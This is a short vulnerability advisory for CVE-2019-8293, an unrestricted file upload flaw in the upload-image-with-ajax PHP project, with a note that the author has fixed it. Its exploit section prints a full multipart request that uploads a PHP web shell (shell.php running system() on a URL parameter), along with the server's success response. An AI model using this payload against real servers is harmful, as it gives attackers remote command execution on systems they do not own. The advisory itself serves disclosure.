Arbitrary file upload vulnerability in upload-image-with-ajax

#956 · 2019-12-16

unrestricted file upload

CVE ID(s): CVE-2019-8293

Summary: unrestricted file upload

Notified: 2019-12-16

Description:

upload-image-with-ajax

Exploit:

 $ ./fileupload_exploit 192.168.0.3 80 /upload-image-with-ajax/upload.php  fileUpload


POST request size is 482 bytes

Sending Payload:
POST /upload-image-with-ajax/upload.php HTTP/1.1
Host: 192.168.0.3
User-Agent: File Upload Exploiter/v1.2
Accept: */*
Content-Length: 251
Content-Type: multipart/form-data; boundary=------------------------c8e05c8871143853

--------------------------c8e05c8871143853
Content-Disposition: form-data; name="fileUpload"; filename="shell.php"
Content-Type: application/octet-stream

<?php $cmd=$_GET['cmd']; system($cmd);?>

--------------------------c8e05c8871143853--

HTTP/1.1 200 OK
Date: Tue, 24 Dec 2019 12:16:57 GMT
Server: Apache/2.4.25 (Debian)
Vary: Accept-Encoding
Content-Length: 96
Content-Type: text/html; charset=UTF-8

was not an image<br><h2> application/octet-stream</h2>file size is 42<br>upload successful!
[+] Total bytes read: 267

Notes:

Author fixed vulnerability:  https://github.com/abcprintf/upload-image-with-ajax/commit/71436ba5102010397519d4b25ea57591cfb4974c

Download: https://github.com/abcprintf/upload-image-with-ajax/

URL: http://www.vapidlabs.com/advisory.php?v=211